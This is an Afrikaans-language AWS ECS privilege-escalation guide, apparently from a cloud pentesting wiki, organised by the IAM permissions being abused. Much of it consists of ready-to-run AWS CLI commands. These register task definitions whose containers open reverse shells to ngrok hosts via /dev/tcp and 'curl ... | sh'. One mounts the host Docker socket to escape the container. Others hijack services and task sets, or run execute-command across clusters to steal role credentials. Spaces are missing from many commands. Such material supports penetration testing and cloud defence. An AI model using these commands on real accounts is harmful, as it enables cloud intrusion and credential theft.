'n Aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition en ecs:RunTask toestemming in ECS misbruik, kan 'n nuwe taakdefinisie genereer met 'n kwaadwillige houer wat die metadata-gedragsbepalings steel en dit uitvoer.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potensiële Impak: Direkte bevoorregte toegang tot 'n ander ECS rol.
Net soos in die vorige voorbeeld kan 'n aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask toestemmings in ECS misbruik, 'n nuwe taakdefinisie genereer met 'n skadelike houer wat die metadata-gedragsbriewe steel en dit uitvoer.
In hierdie geval moet 'n houerinstansie beskikbaar wees om die skadelike taakdefinisie uit te voer.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potensiële Impak: Direkte voorregte-escalasie na enige ECS-rol.
Net soos in die vorige voorbeeld kan 'n aanvaller wat die iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService of ecs:CreateService toestemmings in ECS misbruik, 'n nuwe taakdefinisie genereer met 'n skadelike houer wat die metadata-geloofsbriewe steel en dit uitvoer deur 'n nuwe diens met ten minste 1 taak te skep wat uitgevoer word.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Potensiële Impak: Direkte voorregverhoging na enige ECS rol.
Hierdie scenario is soos die voriges, maar sonder die iam:PassRole toestemming.
Dit is steeds interessant omdat as jy 'n willekeurige houer kan hardloop, selfs sonder 'n rol, jy 'n bevoorregte houer kan hardloop om te ontsnap na die node en die EC2 IAM-rol en die ander ECS-houerrolle wat op die node hardloop, te steel.
Jy kan selfs ander take dwing om binne die EC2-instantie wat jy oorneem, te hardloop om hul geloofsbriewe te steel (soos bespreek in die Privesc na node-seksie).
Hierdie aanval is slegs moontlik as die ECS-kluster EC2-instanties gebruik en nie Fargate nie.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
'n Aanvaller met die ecs:ExecuteCommand, ecs:DescribeTasks kan opdragte uitvoer binne 'n lopende houer en die IAM-rol wat daaraan geheg is, uitlek (jy benodig die beskrywingsregte omdat dit nodig is om aws ecs execute-command uit te voer).
Om dit te doen, moet die houerinstansie egter die ExecuteCommand-agent uitvoer (wat nie standaard is nie).
Daarom kan die aanvaller probeer om:
Probeer om 'n opdrag in elke lopende houer uit te voer
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
As hy ecs:RunTask het, voer 'n taak uit met aws ecs run-task --enable-execute-command [...]
As hy ecs:StartTask het, voer 'n taak uit met aws ecs start-task --enable-execute-command [...]
As hy ecs:CreateService het, skep 'n diens met aws ecs create-service --enable-execute-command [...]
As hy ecs:UpdateService het, werk 'n diens by met aws ecs update-service --enable-execute-command [...]
Jy kan voorbeelde van hierdie opsies vind in vorige ECS privesc-afdelings.
Potensiële Impak: Privesc na 'n ander rol wat aan houers gekoppel is.
ssm:StartSession
Kyk op die ssm privesc-bladsy hoe jy hierdie toestemming kan misbruik om na ECS te privesc:
'n Aanvaller met die toestemmings ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, en ecs:DescribeTaskSets kan 'n kwaadwillige taakstel vir 'n bestaande ECS-diens skep en die primêre taakstel opdateer. Dit stel die aanvaller in staat om arbitrêre kode binne die diens uit te voer.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceaws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the serviceaws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potensiële Impak: Voer willekeurige kode uit in die betrokke diens, wat moontlik die funksionaliteit daarvan kan beïnvloed of sensitiewe data kan uitlek.